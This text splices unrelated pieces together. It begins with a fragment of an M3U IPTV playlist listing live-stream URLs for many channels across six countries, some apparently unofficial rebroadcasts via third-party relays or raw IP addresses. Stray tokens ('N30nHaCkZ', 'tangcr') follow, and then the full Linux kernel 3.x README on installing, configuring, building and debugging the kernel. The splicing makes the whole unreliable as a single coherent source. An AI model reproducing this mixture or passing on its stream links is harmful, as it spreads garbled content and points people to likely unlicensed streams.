tvg-logo="https://upload.wikimedia.org/wikipedia/en/8/8f/KidsClickLogo.png" group-title="USA GEO",Kids Click (Geo) https://usgeowall.sinclairstoryline.com/channel/1698bf57810a48c486b83d542bca298d.m3u8?tc=1&exp=1614631202&rn=1698140798&ct=c&cid=1698bf57810a48c486b83d542bca298d&repl=aboi&sig=3c0463729cd2ddcb9509c3130849b8737dd917ccbaafaccb832d0ec43cae6db5 #EXTINF:-1 tvg-logo="https://i.imgur.com/Fb3iZnm.png" group-title="CANADA",Assemblee Nationale du Quebec http://diffusionm4.assnat.qc.ca/canal9/250.sdp/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/eMMoLjS.png" group-title="CANADA",CPAC http://bcoveliveios-i.akamaihd.net/hls/live/248519/1242843915001_1/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/eMMoLjS.png" group-title="CANADA",CPAC Francais http://bcoveliveios-i.akamaihd.net/hls/live/248520/1242843915001_2/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/kdgMVOI.png" group-title="CANADA",Knowledge Network http://knstream1.azureedge.net/knlive/knlive_high.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/BUiwYlr.png" group-title="CANADA",Space (No Audio) http://pe-ak-lp01a-9c9media.akamaized.net/live/Space/p/hls/00000201/689924a518f2c776/index/2176f3ac/live/stream/h264/v1/3500000/manifest.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/C3LheXq.png" group-title="CANADA",Tele-Quebec https://teleqmmd.mmdlive.lldns.net/teleqmmd/f386e3b206814e1f8c8c1c71c0f8e748/chunklist_b2592000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/i3lItFB.png" group-title="CANADA",The Shopping Channel http://tscstreaming-lh.akamaihd.net/i/TSCLiveStreaming_1@91031/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/CafPtAF.png" group-title="UK",24/7 Super Geek Heroes https://vcnyellowspot.teleosmedia.com/stream/yellowspot/super-geek-heros/seglist_720p.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/xOSODRW.png" group-title="UK",African Cinema https://stream.ecable.tv/africancine/tracks-v3a1/mono.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/HL7fwzt.png" group-title="UK",Afrobeats https://stream.ecable.tv/afrobeats/tracks-v1a1/mono.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/uxEkyBS.png" group-title="UK",AsSalt TV https://stream.ecable.tv/asstv/tracks-v1a1/mono.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/idRFfhY.png" group-title="UK",Bloomberg Television http://cdn-videos.akamaized.net/btv/desktop/akamai/europe/live/primary.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/thumb/b/be/Box_hits.svg/1280px-Box_hits.svg.png" group-title="UK",Box Hits http://csm-e.tm.yospace.com/csm/extlive/boxplus01,boxhits-desktop.m3u8?yo.up=http%3a%2f%2fboxtv-origin-elb.cds1.yospace.com%2fuploads%2fboxhits%2f #EXTINF:-1 tvg-logo="https://i.imgur.com/LaqgQOX.png" group-title="UK",Box Up Front http://csm-e.tm.yospace.com/csm/extlive/boxplus01,boxupfront-desktop.m3u8?yo.up=http://boxtv-origin-elb.cds1.yospace.com/uploads/boxupfront/ #EXTINF:-1 tvg-logo="https://i.imgur.com/4wbZUfh.png" group-title="UK",CGTN Documentary (Opt-1) http://live.cgtn.com/cctv-d.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/4wbZUfh.png" group-title="UK",CGTN Documentary (Opt-2) http://livefr.cgtn.com/1000d/prog_index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/53EgUZN.png" group-title="UK",CNBC Europe http://ott-cdn.ucom.am/s65/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://www.createandcraft.com/gb/common/images/brand-shop/about-us/logo.png" group-title="UK",Create and Craft https://live-craftuk.simplestreamcdn.com/craftuk/3/prog_index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/eD8zkhY.png" group-title="UK",Cruise1st TV https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/cruise_tv/hls_video/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/zGVnGPv.png" group-title="UK",Dave http://streamingserver001.viewtvgroup.com/kapanglivetv-uksat-dave/tracks-v1a1/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/4qrQOr7.png" group-title="UK",DSport http://jiocgehub.jio.ril.com/Dsports_HD/Dsports_HD.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="http://ocdn.eu/images/program-tv/NTU7MDA_/e7114237dc0731c7dd660c32d6822432.png" group-title="UK",English Club TV http://ott-cdn.ucom.am/s37/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Jh3Ccrn.png" group-title="UK",Filmon 360 https://www.filmon.com/vr-streams/4136.high/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/f/f9/Food_Network_New_Logo.png" group-title="UK",Food Network http://95.86.32.7:999/food #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/thumb/0/0c/FOX_Sports_logo.svg/1280px-FOX_Sports_logo.svg.png" group-title="UK",Fox Sports http://45.58.62.92:8080 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/3/38/Gemporia_tv_in.png" group-title="UK",Gemporia (Opt-1) https://57d6b85685bb8.streamlock.net/abrgemporiaukgfx/livestream_source/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/3/38/Gemporia_tv_in.png" group-title="UK",Gemporia (Opt-2) http://57d6b85685bb8.streamlock.net:1935/abrgemporiaukgfx/livestream_360p/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/CzsBnvf.png" group-title="UK",Horizon Sports https://a.jsrdn.com/broadcast/22705/+0000/hi/c.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/iz3YpQ1.png" group-title="UK",Insight http://jiocgwhub.jio.ril.com/Insight/Insight.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/HKyWKar.png" group-title="UK",Jewellery Maker http://edge01.cdn.aws.subset.host/JewelleryMakerLive/JewelleryMakerLive/playlist.m3u8 #EXTINF:-1 tvg-logo="http://undergroundbass.co.uk/image/koollondon.png" group-title="UK",Kool London Radio http://w10.streamgb.com:1935/kool/kool/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/XTv8pla.png" group-title="UK",Motorsport TV http://45.58.62.92:8084 #EXTINF:-1 tvg-logo="https://i.imgur.com/h0NNZ2U.png" group-title="UK",Nat Geo Wild (Asia) http://103.199.160.85/Content/insync/Live/Channel(Insync)/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/QqLoAs7.png" group-title="UK",Nickelodeon http://ms-azure-video.gslb.startimestv.com/live/NICKELODEON_836_250_320x240_191618/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OYHd7FJ.png" group-title="UK",Pick https://streamingserver001.viewtvgroup.com/kapanglivetv-uksat-pick/tracks-v1a1/mono.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/vIQR1Fv.png" group-title="UK",Pop https://streamingserver001.viewtvgroup.com/kapanglivetv-uksat-pop/tracks-v1a1/mono.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/FE6M4rs.png" group-title="UK",Primal Living TV https://57d4d8b1e4f4f.streamlock.net/primalcure/livestream/chunklist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC http://live.qvcuk.simplestreamcdn.com/live/qvcuk_main_clean/bitrate1.isml/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC +1 http://llnw.live.qvc.simplestream.com/hera/remote/qvcuk_primary_sdi1/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC Beauty http://live.qvcuk.simplestreamcdn.com/live/qvcuk_beauty_clean/bitrate1.isml/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC Style http://live.qvcuk.simplestreamcdn.com/live/qvcuk_style_clean/bitrate1.isml/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC Extra http://live.qvcuk.simplestreamcdn.com/live/qvcuk_extra_clean/bitrate1.isml/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/owjXT3r.png" group-title="UK",Rathergood Radio https://streamingserver001.viewtvgroup.com/kapanglivetv-playout-rathergoodradio/tracks-v5a1/mono.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oxfXXlb.png" group-title="UK",Reuters http://220.158.149.28:8180/live/TV00000000000000000034@HHZT #EXTINF:-1 tvg-logo="https://i.imgur.com/IlSYKSK.png" group-title="UK",Sheffield Live! 93.2 FM http://tv.sheffieldlive.org/hls/main.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/b/b4/Sky-news-logo.png" group-title="UK",Sky News (Opt-1) http://ax.micaesoft.com/YMitv/YMITV_UK_UKskytv_2.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/b/b4/Sky-news-logo.png" group-title="UK",Sky News (Opt-2) http://ax.micaesoft.com/YMitv/YMITV_US_USnasatv_1.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/b/b4/Sky-news-logo.png" group-title="UK",Sky News (SD) http://skydvn-nowtv-atv-prod.skydvn.com/atv/skynews/1404/live/04.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/b/b4/Sky-news-logo.png" group-title="UK",Sky News (HD) http://skydvn-nowtv-atv-prod.skydvn.com/atv/skynews/1404/live/05.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/p1kUxTW.png" group-title="UK",Sony Movies Christmas http://streamingserver001.viewtvgroup.com/kapanglivetv-uksat-truemovies/tracks-v1a1/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/noM3Q45.png" group-title="UK",Spotlight TV http://cdn.fs-chf01-03-4ed412cd-27f7-09d8-bb30-72e28dab4eb1.arqiva-ott-live.com/live-audio_track=96000-video=1100000.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8Beeu4z.png" group-title="UK",Sunburn TV https://vcndstv.teleosmedia.com/stream/dstv/sunburn/seglist_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/55vA85a.png" group-title="UK",The Boat Show https://a.jsrdn.com/broadcast/22706/+0000/hi/c.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/gPaTIUd.png" group-title="UK",The Box http://csm-e.tm.yospace.com/csm/extlive/boxplus01,thebox-desktop.m3u8?yo.up=http://boxtv-origin-elb.cds1.yospace.com/uploads/thebox/ #EXTINF:-1 tvg-logo="https://i.imgur.com/YyXGOYy.png" group-title="UK",The Jewellery Channel https://live-tjc.simplestreamcdn.com/tjc_sdi1/2/prog_index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YKI00DM.png" group-title="UK",Vintage Music https://streamingserver002.viewtvgroup.com/kapanglivetv-playout-vintagemusictv/tracks-v1a1/mono.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/f2YA7mD.png" group-title="UK",VoxAfrica UK http://109.231.229.37:3401/voxafuk/voxafhlsout/chunklist_w985073329.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oitvOug.png" group-title="UK",World of Free Sports https://a.jsrdn.com/broadcast/22723/+0000/hi/c.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/TB3jwQO.png" group-title="IRELAND",RTE Jr. https://cdn.rasset.ie/hls-live/_definst_/rtejr/rtejr-576.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/SMvAjyK.png" group-title="IRELAND",TG4 http://csm-e.cds1.yospace.com/csm/live/74246610.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/thumb/7/72/3AW693logo.svg/1200px-3AW693logo.svg.png" group-title="AUSTRALIA",3AW 693 AM Melbourne http://melb3awvid-lh.akamaihd.net/i/melbournevid_1@109381/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/V3GCQ5a.png" group-title="AUSTRALIA",4BC 1116 AM Brisbane http://bris4bcvid-lh.akamaihd.net/i/brisbanebcvida_1@110989/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ZeC0jE4.png" group-title="AUSTRALIA",Australia Channel https://austchannel-live.akamaized.net/hls/live/2002729/austchannel-news/master1280x720.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/idRFfhY.png" group-title="AUSTRALIA",Bloomberg Television https://liveprodapnortheast.global.ssl.fastly.net/btv/desktop/aus_live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/h4PmdaN.png" group-title="AUSTRALIA",C31 Melbourne https://dcunilive47-lh.akamaihd.net/i/dclive_1@739220/master.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/f/ff/Expo_2015_logo.png" group-title="AUSTRALIA",Expo Channel http://tvsn-i.akamaihd.net/hls/live/261837/expo/expo_750.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/vLdszKt.png" group-title="AUSTRALIA",Fox Sports News https://austchannel-live.akamaized.net/hls/live/2002736/austchannel-sport/master1280x720.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AaXbz6o.png" group-title="AUSTRALIA",Macquarie Sports Radio http://syd2uevid-lh.akamaihd.net/i/sydneyuevid_1@110994/index_500_av-p.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/thumb/3/3e/RACING.COM_logo_2016.svg/1200px-RACING.COM_logo_2016.svg.png" group-title="AUSTRALIA",Racing.com https://racingvic-i.akamaized.net/hls/live/598695/racingvic/628.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/gRrfqSb.png" group-title="AUSTRALIA",Rainbow TV Chinese http://rtvcdn.com.au:8082/TV_GG.m3u8 #EXTINF:-1 tvg-logo="https://www.foxtel.com.au/content/dam/foxtel/watch/news/sky-news-extra-colour.PNG" group-title="AUSTRALIA",Sky News Extra 1 https://skynewsau-live.akamaized.net/hls/live/2002689/skynewsau-extra1/master.m3u8 #EXTINF:-1 tvg-logo="https://www.foxtel.com.au/content/dam/foxtel/watch/news/sky-news-extra-colour.PNG" group-title="AUSTRALIA",Sky News Extra 2 https://skynewsau-live.akamaized.net/hls/live/2002690/skynewsau-extra2/master.m3u8 #EXTINF:-1 tvg-logo="https://www.foxtel.com.au/content/dam/foxtel/watch/news/sky-news-extra-colour.PNG" group-title="AUSTRALIA",Sky News Extra 3 https://skynewsau-live.akamaized.net/hls/live/2002691/skynewsau-extra3/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/cNW54Mp.png" group-title="NEW ZEALAND",Maori TV (Opt-1) http://i.mjh.nz/nz/tv.13.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/cNW54Mp.png" group-title="NEW ZEALAND",Maori TV (Opt-2) https://bcsecurelivehls-i.akamaihd.net//hls/live/720612/1614493167001_1/master_iPad1080p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VKc7BLC.png" group-title="NEW ZEALAND",Parliament TV (Opt-1) http://streaming.kordia.net.nz/out/u/house_captionsVideo3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VKc7BLC.png" group-title="NEW ZEALAND",Parliament TV (Opt-2) http://streaming.kordia.net.nz/out/u/ptv_houseaudio.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/yrJVHTd.png" group-title="NEW ZEALAND",Te Reo http://i.mjh.nz/nz/tv.20.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/5/5f/Three_NZ_TV.png" group-title="NEW ZEALAND",Three http://mediaworks-i.akamaihd.net/hls/live/220435/3812193411001/3news_live/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jflyqMm.png" group-title="NEW ZEALAND",TVSN http://tvsn-i.akamaihd.net/hls/live/261837/tvsn_nz/tvsn_nz_750.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qwGFZKE.png" group-title="NEW ZEALAND",Wairarapa TV http://stream.wairarapatv.co.nz/Cellular_High/playlist.m3u8
N30nHaCkZ
Linux kernel release 3.x <http://kernel.org/> These are the release notes for Linux version 3. Read them carefully, as they tell you what this is all about, explain how to install the kernel, and what to do if something goes wrong. WHAT IS LINUX? Linux is a clone of the operating system Unix, written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX and Single UNIX Specification compliance. It has all the features you would expect in a modern fully-fledged Unix, including true multitasking, virtual memory, shared libraries, demand loading, shared copy-on-write executables, proper memory management, and multistack networking including IPv4 and IPv6. It is distributed under the GNU General Public License - see the accompanying COPYING file for more details. ON WHAT HARDWARE DOES IT RUN? Although originally developed first for 32-bit x86-based PCs (386 or higher), today Linux also runs on (at least) the Compaq Alpha AXP, Sun SPARC and UltraSPARC, Motorola 68000, PowerPC, PowerPC64, ARM, Hitachi SuperH, Cell, IBM S/390, MIPS, HP PA-RISC, Intel IA-64, DEC VAX, AMD x86-64, AXIS CRIS, Xtensa, Tilera TILE, AVR32 and Renesas M32R architectures. Linux is easily portable to most general-purpose 32- or 64-bit architectures as long as they have a paged memory management unit (PMMU) and a port of the GNU C compiler (gcc) (part of The GNU Compiler Collection, GCC). Linux has also been ported to a number of architectures without a PMMU, although functionality is then obviously somewhat limited. Linux has also been ported to itself. You can now run the kernel as a userspace application - this is called UserMode Linux (UML). DOCUMENTATION: - There is a lot of documentation available both in electronic form on the Internet and in books, both Linux-specific and pertaining to general UNIX questions. I'd recommend looking into the documentation subdirectories on any Linux FTP site for the LDP (Linux Documentation Project) books. This README is not meant to be documentation on the system: there are much better sources available. - There are various README files in the Documentation/ subdirectory: these typically contain kernel-specific installation notes for some drivers for example. See Documentation/00-INDEX for a list of what is contained in each file. Please read the Changes file, as it contains information about the problems, which may result by upgrading your kernel. - The Documentation/DocBook/ subdirectory contains several guides for kernel developers and users. These guides can be rendered in a number of formats: PostScript (.ps), PDF, HTML, & man-pages, among others. After installation, "make psdocs", "make pdfdocs", "make htmldocs", or "make mandocs" will render the documentation in the requested format. INSTALLING the kernel source: - If you install the full sources, put the kernel tarball in a directory where you have permissions (eg. your home directory) and unpack it: gzip -cd linux-3.X.tar.gz | tar xvf - or bzip2 -dc linux-3.X.tar.bz2 | tar xvf - Replace "X" with the version number of the latest kernel. Do NOT use the /usr/src/linux area! This area has a (usually incomplete) set of kernel headers that are used by the library header files. They should match the library, and not get messed up by whatever the kernel-du-jour happens to be. - You can also upgrade between 3.x releases by patching. Patches are distributed in the traditional gzip and the newer bzip2 format. To install by patching, get all the newer patch files, enter the top level directory of the kernel source (linux-3.X) and execute: gzip -cd ../patch-3.x.gz | patch -p1 or bzip2 -dc ../patch-3.x.bz2 | patch -p1 Replace "x" for all versions bigger than the version "X" of your current source tree, _in_order_, and you should be ok. You may want to remove the backup files (some-file-name~ or some-file-name.orig), and make sure that there are no failed patches (some-file-name# or some-file-name.rej). If there are, either you or I have made a mistake. Unlike patches for the 3.x kernels, patches for the 3.x.y kernels (also known as the -stable kernels) are not incremental but instead apply directly to the base 3.x kernel. For example, if your base kernel is 3.0 and you want to apply the 3.0.3 patch, you must not first apply the 3.0.1 and 3.0.2 patches. Similarly, if you are running kernel version 3.0.2 and want to jump to 3.0.3, you must first reverse the 3.0.2 patch (that is, patch -R) _before_ applying the 3.0.3 patch. You can read more on this in Documentation/applying-patches.txt Alternatively, the script patch-kernel can be used to automate this process. It determines the current kernel version and applies any patches found. linux/scripts/patch-kernel linux The first argument in the command above is the location of the kernel source. Patches are applied from the current directory, but an alternative directory can be specified as the second argument. - Make sure you have no stale .o files and dependencies lying around: cd linux make mrproper You should now have the sources correctly installed. SOFTWARE REQUIREMENTS Compiling and running the 3.x kernels requires up-to-date versions of various software packages. Consult Documentation/Changes for the minimum version numbers required and how to get updates for these packages. Beware that using excessively old versions of these packages can cause indirect errors that are very difficult to track down, so don't assume that you can just update packages when obvious problems arise during build or operation. BUILD directory for the kernel: When compiling the kernel, all output files will per default be stored together with the kernel source code. Using the option "make O=output/dir" allow you to specify an alternate place for the output files (including .config). Example: kernel source code: /usr/src/linux-3.X build directory: /home/name/build/kernel To configure and build the kernel, use: cd /usr/src/linux-3.X make O=/home/name/build/kernel menuconfig make O=/home/name/build/kernel sudo make O=/home/name/build/kernel modules_install install Please note: If the 'O=output/dir' option is used, then it must be used for all invocations of make. CONFIGURING the kernel: Do not skip this step even if you are only upgrading one minor version. New configuration options are added in each release, and odd problems will turn up if the configuration files are not set up as expected. If you want to carry your existing configuration to a new version with minimal work, use "make oldconfig", which will only ask you for the answers to new questions. - Alternative configuration commands are: "make config" Plain text interface. "make menuconfig" Text based color menus, radiolists & dialogs. "make nconfig" Enhanced text based color menus. "make xconfig" X windows (Qt) based configuration tool. "make gconfig" X windows (Gtk) based configuration tool. "make oldconfig" Default all questions based on the contents of your existing ./.config file and asking about new config symbols. "make silentoldconfig" Like above, but avoids cluttering the screen with questions already answered. Additionally updates the dependencies. "make olddefconfig" Like above, but sets new symbols to their default values without prompting. "make defconfig" Create a ./.config file by using the default symbol values from either arch/$ARCH/defconfig or arch/$ARCH/configs/${PLATFORM}_defconfig, depending on the architecture. "make ${PLATFORM}_defconfig" Create a ./.config file by using the default symbol values from arch/$ARCH/configs/${PLATFORM}_defconfig. Use "make help" to get a list of all available platforms of your architecture. "make allyesconfig" Create a ./.config file by setting symbol values to 'y' as much as possible. "make allmodconfig" Create a ./.config file by setting symbol values to 'm' as much as possible. "make allnoconfig" Create a ./.config file by setting symbol values to 'n' as much as possible. "make randconfig" Create a ./.config file by setting symbol values to random values. "make localmodconfig" Create a config based on current config and loaded modules (lsmod). Disables any module option that is not needed for the loaded modules. To create a localmodconfig for another machine, store the lsmod of that machine into a file and pass it in as a LSMOD parameter. target$ lsmod > /tmp/mylsmod target$ scp /tmp/mylsmod host:/tmp host$ make LSMOD=/tmp/mylsmod localmodconfig The above also works when cross compiling. "make localyesconfig" Similar to localmodconfig, except it will convert all module options to built in (=y) options. You can find more information on using the Linux kernel config tools in Documentation/kbuild/kconfig.txt. - NOTES on "make config": - Having unnecessary drivers will make the kernel bigger, and can under some circumstances lead to problems: probing for a nonexistent controller card may confuse your other controllers - Compiling the kernel with "Processor type" set higher than 386 will result in a kernel that does NOT work on a 386. The kernel will detect this on bootup, and give up. - A kernel with math-emulation compiled in will still use the coprocessor if one is present: the math emulation will just never get used in that case. The kernel will be slightly larger, but will work on different machines regardless of whether they have a math coprocessor or not. - The "kernel hacking" configuration details usually result in a bigger or slower kernel (or both), and can even make the kernel less stable by configuring some routines to actively try to break bad code to find kernel problems (kmalloc()). Thus you should probably answer 'n' to the questions for "development", "experimental", or "debugging" features. COMPILING the kernel: - Make sure you have at least gcc 3.2 available. For more information, refer to Documentation/Changes. Please note that you can still run a.out user programs with this kernel. - Do a "make" to create a compressed kernel image. It is also possible to do "make install" if you have lilo installed to suit the kernel makefiles, but you may want to check your particular lilo setup first. To do the actual install, you have to be root, but none of the normal build should require that. Don't take the name of root in vain. - If you configured any of the parts of the kernel as `modules', you will also have to do "make modules_install". - Verbose kernel compile/build output: Normally, the kernel build system runs in a fairly quiet mode (but not totally silent). However, sometimes you or other kernel developers need to see compile, link, or other commands exactly as they are executed. For this, use "verbose" build mode. This is done by inserting "V=1" in the "make" command. E.g.: make V=1 all To have the build system also tell the reason for the rebuild of each target, use "V=2". The default is "V=0". - Keep a backup kernel handy in case something goes wrong. This is especially true for the development releases, since each new release contains new code which has not been debugged. Make sure you keep a backup of the modules corresponding to that kernel, as well. If you are installing a new kernel with the same version number as your working kernel, make a backup of your modules directory before you do a "make modules_install". Alternatively, before compiling, use the kernel config option "LOCALVERSION" to append a unique suffix to the regular kernel version. LOCALVERSION can be set in the "General Setup" menu. - In order to boot your new kernel, you'll need to copy the kernel image (e.g. .../linux/arch/i386/boot/bzImage after compilation) to the place where your regular bootable kernel is found. - Booting a kernel directly from a floppy without the assistance of a bootloader such as LILO, is no longer supported. If you boot Linux from the hard drive, chances are you use LILO, which uses the kernel image as specified in the file /etc/lilo.conf. The kernel image file is usually /vmlinuz, /boot/vmlinuz, /bzImage or /boot/bzImage. To use the new kernel, save a copy of the old image and copy the new image over the old one. Then, you MUST RERUN LILO to update the loading map!! If you don't, you won't be able to boot the new kernel image. Reinstalling LILO is usually a matter of running /sbin/lilo. You may wish to edit /etc/lilo.conf to specify an entry for your old kernel image (say, /vmlinux.old) in case the new one does not work. See the LILO docs for more information. After reinstalling LILO, you should be all set. Shutdown the system, reboot, and enjoy! If you ever need to change the default root device, video mode, ramdisk size, etc. in the kernel image, use the 'rdev' program (or alternatively the LILO boot options when appropriate). No need to recompile the kernel to change these parameters. - Reboot with the new kernel and enjoy. IF SOMETHING GOES WRONG: - If you have problems that seem to be due to kernel bugs, please check the file MAINTAINERS to see if there is a particular person associated with the part of the kernel that you are having trouble with. If there isn't anyone listed there, then the second best thing is to mail them to me (torvalds@linux-foundation.org), and possibly to any other relevant mailing-list or to the newsgroup. - In all bug-reports, *please* tell what kernel you are talking about, how to duplicate the problem, and what your setup is (use your common sense). If the problem is new, tell me so, and if the problem is old, please try to tell me when you first noticed it. - If the bug results in a message like unable to handle kernel paging request at address C0000010 Oops: 0002 EIP: 0010:XXXXXXXX eax: xxxxxxxx ebx: xxxxxxxx ecx: xxxxxxxx edx: xxxxxxxx esi: xxxxxxxx edi: xxxxxxxx ebp: xxxxxxxx ds: xxxx es: xxxx fs: xxxx gs: xxxx Pid: xx, process nr: xx xx xx xx xx xx xx xx xx xx xx or similar kernel debugging information on your screen or in your system log, please duplicate it *exactly*. The dump may look incomprehensible to you, but it does contain information that may help debugging the problem. The text above the dump is also important: it tells something about why the kernel dumped code (in the above example, it's due to a bad kernel pointer). More information on making sense of the dump is in Documentation/oops-tracing.txt - If you compiled the kernel with CONFIG_KALLSYMS you can send the dump as is, otherwise you will have to use the "ksymoops" program to make sense of the dump (but compiling with CONFIG_KALLSYMS is usually preferred). This utility can be downloaded from ftp://ftp.<country>.kernel.org/pub/linux/utils/kernel/ksymoops/ . Alternatively, you can do the dump lookup by hand: - In debugging dumps like the above, it helps enormously if you can look up what the EIP value means. The hex value as such doesn't help me or anybody else very much: it will depend on your particular kernel setup. What you should do is take the hex value from the EIP line (ignore the "0010:"), and look it up in the kernel namelist to see which kernel function contains the offending address. To find out the kernel function name, you'll need to find the system binary associated with the kernel that exhibited the symptom. This is the file 'linux/vmlinux'. To extract the namelist and match it against the EIP from the kernel crash, do: nm vmlinux | sort | less This will give you a list of kernel addresses sorted in ascending order, from which it is simple to find the function that contains the offending address. Note that the address given by the kernel debugging messages will not necessarily match exactly with the function addresses (in fact, that is very unlikely), so you can't just 'grep' the list: the list will, however, give you the starting point of each kernel function, so by looking for the function that has a starting address lower than the one you are searching for but is followed by a function with a higher address you will find the one you want. In fact, it may be a good idea to include a bit of "context" in your problem report, giving a few lines around the interesting one. If you for some reason cannot do the above (you have a pre-compiled kernel image or similar), telling me as much about your setup as possible will help. Please read the REPORTING-BUGS document for details. - Alternatively, you can use gdb on a running kernel. (read-only; i.e. you cannot change values or set break points.) To do this, first compile the kernel with -g; edit arch/i386/Makefile appropriately, then do a "make clean". You'll also need to enable CONFIG_PROC_FS (via "make config"). After you've rebooted with the new kernel, do "gdb vmlinux /proc/kcore". You can now use all the usual gdb commands. The command to look up the point where your system crashed is "l *0xXXXXXXXX". (Replace the XXXes with the EIP value.) gdb'ing a non-running kernel currently fails because gdb (wrongly) disregards the starting offset for which the kernel is compiled.
tangcr
